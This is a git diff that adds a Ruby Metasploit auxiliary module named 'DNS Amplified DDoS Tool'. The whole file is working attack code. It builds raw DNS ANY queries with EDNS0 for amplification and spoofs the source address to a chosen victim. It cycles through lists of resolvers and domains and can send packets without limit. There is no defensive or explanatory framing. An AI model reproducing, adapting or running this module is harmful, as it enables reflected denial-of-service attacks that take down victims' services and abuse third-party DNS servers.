diff --git a/dnsdos/dnsdos.rb b/dnsdos/dnsdos.rb
new file mode 100644
index 0000000..14d861f
--- /dev/null
+++ b/dnsdos/dnsdos.rb
@@ -0,0 +1,108 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+
+  include Msf::Exploit::Capture
+  include Msf::Auxiliary::Dos
+
+  def initialize
+    super(
+      'Name'        => 'DNS Amplified DDoS Tool',
+      'Description' => 'DDoS attack using reflected DNS ANY queries for amplification',
+      'Author'      => 'Hayden Parker',
+      'License'     => MSF_LICENSE
+    )
+
+    register_options([
+      Opt::RPORT(53),
+      OptAddress.new('SHOST', [true, 'The spoofable source address']),
+      OptAddress.new('RHOST', [false, 'The DNS server to query']),
+      OptPath.new('RHOSTS', [false, 'File containing list of DNS servers to query']),
+      OptString.new('DOMAIN', [false,  "The domain to query for"]),
+      OptPath.new('DOMAINS', [false,  "File containing domains to query for"]),
+      OptString.new('INTERFACE', [true,  "The interface to spew packets from", "eth0"]),
+      OptInt.new('SPORT', [false, 'The source port (else randomizes)']),
+      OptInt.new('NUM', [true, 'Number of packets to send (zero for unlimited)'])
+    ])
+
+    deregister_options('FILTER','PCAPFILE','TIMEOUT','SNAPLEN')
+    
+    @domains = nil
+  end
+
+  def sport
+    datastore['SPORT'].to_i.zero? ? rand(0xffff-1024)+1024 : datastore['SPORT'].to_i
+  end
+  
+  def rhost
+	if datastore['RHOSTS'] != nil
+		return File.open(datastore['RHOSTS']).readlines
+	elsif datastore['RHOST'] != nil
+		return datastore['RHOST']
+	end
+  end
+
+  def domain
+	if datastore['DOMAINS'] != nil
+		if @domains == nil
+			@domains = File.open(datastore['DOMAINS']).readlines
+		end
+		next_domain = @domains.shift
+		@domains = @domains << next_domain
+		return next_domain.chomp.split(".")
+	elsif datastore['DOMAIN'] != nil
+		return datastore['DOMAIN'].split(".")
+	end
+  end
+  
+  def send_query(dns_query, source, host, interface)
+    dns_query.udp_src = sport
+	dns_query.ip_daddr = source
+	dns_query.payload = ""
+	dns_query.payload += "\x24\x1a\x01\x00\x00\x01\x00\x00\x00\x00\x00\x01".force_encoding("ASCII-8BIT")
+	host.each do |part|
+	  dns_query.payload += [part.size].pack('U').force_encoding("ASCII-8BIT")
+	  dns_query.payload += part.force_encoding("ASCII-8BIT")
+	end
+	dns_query.payload += "\x00\x00\xff\x00\x01\x00\x00\x29\x10\x00\x00\x00\x00\x00\x00\x00".force_encoding("ASCII-8BIT")
+	dns_query.recalc
+	dns_query.to_w(interface)
+  end
+
+  def run
+    sent = 0
+    num = datastore['NUM']
+    print_status("Beginning DNS flood...")
+
+    dns_query = PacketFu::UDPPacket.new
+    dns_query.ip_saddr = datastore['SHOST']
+    dns_query.udp_dst = datastore['RPORT']
+    interface = datastore['INTERFACE']
+    
+    source = rhost
+    if source.class == Array
+      while (num <= 0) or (sent < num)
+        current_domain = domain
+        source.each do |source_ip|
+          break if sent >= num unless num <= 0
+          send_query(dns_query, source_ip.chomp, current_domain, interface)
+          sent += 1
+        end
+      end
+    elsif source.class == String
+      while (num <= 0) or (sent < num)
+        send_query(dns_query, source, domain, interface)
+        sent += 1
+      end
+	else
+      print_error("No DNS server to query defined.  Please set RHOST or RHOSTS.")
+	end
+	
+	print_status("Attack finished (sent #{sent} packets).")
+  end
+end